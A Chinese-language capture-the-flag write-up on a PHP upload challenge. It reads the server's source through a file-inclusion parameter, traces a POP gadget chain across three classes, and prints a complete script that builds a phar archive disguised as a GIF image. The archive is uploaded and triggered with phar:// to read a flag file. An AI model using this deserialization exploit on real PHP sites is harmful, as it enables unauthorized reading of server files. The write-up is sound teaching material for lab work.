考点:文件上传
试了一下,直接上传php文件是不行的,.user.ini和.htaccess也不行
能看到有提示,flag在f1ag.php中
在查看文件功能处发现get传参,可能是文件包含
尝试包含当前页面
?file=file.php
得到
-
- header("content-type:text/html;charset=utf-8");
- include 'function.php';
- include 'class.php';
- ini_set('open_basedir','/var/www/html/');
- $file = $_GET["file"] ? $_GET['file'] : "";
- if(empty($file)) {
- echo "
There is no file to show!"
; - }
- $show = new Show();
- if(file_exists($file)) {
- $show->source = $file;
- $show->_show();
- } else if (!empty($file)){
- die('file doesn\'t exists.');
- }
- ?>
读取upload_file.php
?file=upload_file.php
-
- include 'function.php';
- upload_file();
- ?>
查看function.php
?file=function.php
-
- //show_source(__FILE__);
- include "base.php";
- header("Content-type: text/html;charset=utf-8");
- error_reporting(0);
- function upload_file_do() {
- global $_FILES;
- $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
- //mkdir("upload",0777);
- if(file_exists("upload/" . $filename)) {
- unlink($filename);
- }
- move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
- echo '';
- }
- function upload_file() {
- global $_FILES;
- if(upload_file_check()) {
- upload_file_do();
- }
- }
- function upload_file_check() {
- global $_FILES;
- $allowed_types = array("gif","jpeg","jpg","png");
- $temp = explode(".",$_FILES["file"]["name"]);
- $extension = end($temp);
- if(empty($extension)) {
- //echo "
请选择上传的文件:" . "";
- }
- else{
- if(in_array($extension,$allowed_types)) {
- return true;
- }
- else {
- echo '';
- return false;
- }
- }
- }
- ?>
function.php的作用主要是判断文件是否存在,并过滤一些字符串,给文件重命名,然后移动到upload目录下
再看class.php
?file=class.php
-
- class C1e4r
- {
- public $test;
- public $str;
- public function __construct($name)
- {
- $this->str = $name;
- }
- public function __destruct()
- {
- $this->test = $this->str;
- echo $this->test;
- }
- }
-
- class Show
- {
- public $source;
- public $str;
- public function __construct($file)
- {
- $this->source = $file; //$this->source = phar://phar.jpg
- echo $this->source;
- }
- public function __toString()
- {
- $content = $this->str['str']->source;
- return $content;
- }
- public function __set($key,$value)
- {
- $this->$key = $value;
- }
- public function _show()
- {
- if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
- die('hacker!');
- } else {
- highlight_file($this->source);
- }
-
- }
- public function __wakeup()
- {
- if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
- echo "hacker~";
- $this->source = "index.php";
- }
- }
- }
- class Test
- {
- public $file;
- public $params;
- public function __construct()
- {
- $this->params = array();
- }
- public function __get($key)
- {
- return $this->get($key);
- }
- public function get($key)
- {
- if(isset($this->params[$key])) {
- $value = $this->params[$key];
- } else {
- $value = "index.php";
- }
- return $this->file_get($value);
- }
- public function file_get($value)
- {
- $text = base64_encode(file_get_contents($value));
- return $text;
- }
- }
- ?>
可以看到在Test类中的file_get函数有文件读取,在上面的get函数中调用了file_get,这里传入了一个$key 把他当作 params的值,再给file_get
再往上看,__get调用了get方法
__get魔术方法:当调用未定义的属性或没有权限访问的属性触发
再看上面Show类中的__toString
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
如果这里的 $this ->str['str'] 是Test 类,那么Test 类中没有 source这个属性,就会触发__get 方法
那么又该怎么触发__toString方法呢? __toString函数触发条件:
当一个对象被当作字符串处理的时候,会触发这个魔术方法
再看 C1e4r 类中的 __destruct
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
这里有个echo,如果 str 是一个类的对象,也就是 $this.test 是个对象,那么echo 对象 就会触发了 __toString 方法
构造pop链并生成phar文件
-
- class C1e4r{
- public $test;
- public $str;
- }
-
- class Show
- {
- public $source;
- public $str;
- }
-
- class Test
- {
- public $file;
- public $params;
-
- }
- $cle4r = new C1e4r();
- $show = new Show();
- $test = new Test();
- $test->params['source']='/var/www/html/f1ag.php';
- $show->str['str']=$test;
- $cle4r->str=$show;
-
- $phar = new Phar("phar.phar");
- $phar->startBuffering();
- $phar->setStub("GIF89a");
- $phar->setMetadata($cle4r);
- $phar->addFromString("exp.txt", "test");
- $phar->stopBuffering();
-
- ?>
这边有个要解释一下的是,这里是params[‘source’],而不是params[‘其他’]。
我们知道__get是当调用未定义的属性或没有权限访问的属性才触发,一旦触发那么这里的$key接受的就是那个未定义的属性,而不是值。
本地访问生成phar文件,将后缀改为jpg,然后上传
然后访问/upload/,得到文件名
然后使用phar进行文件包含
base64解码得到flag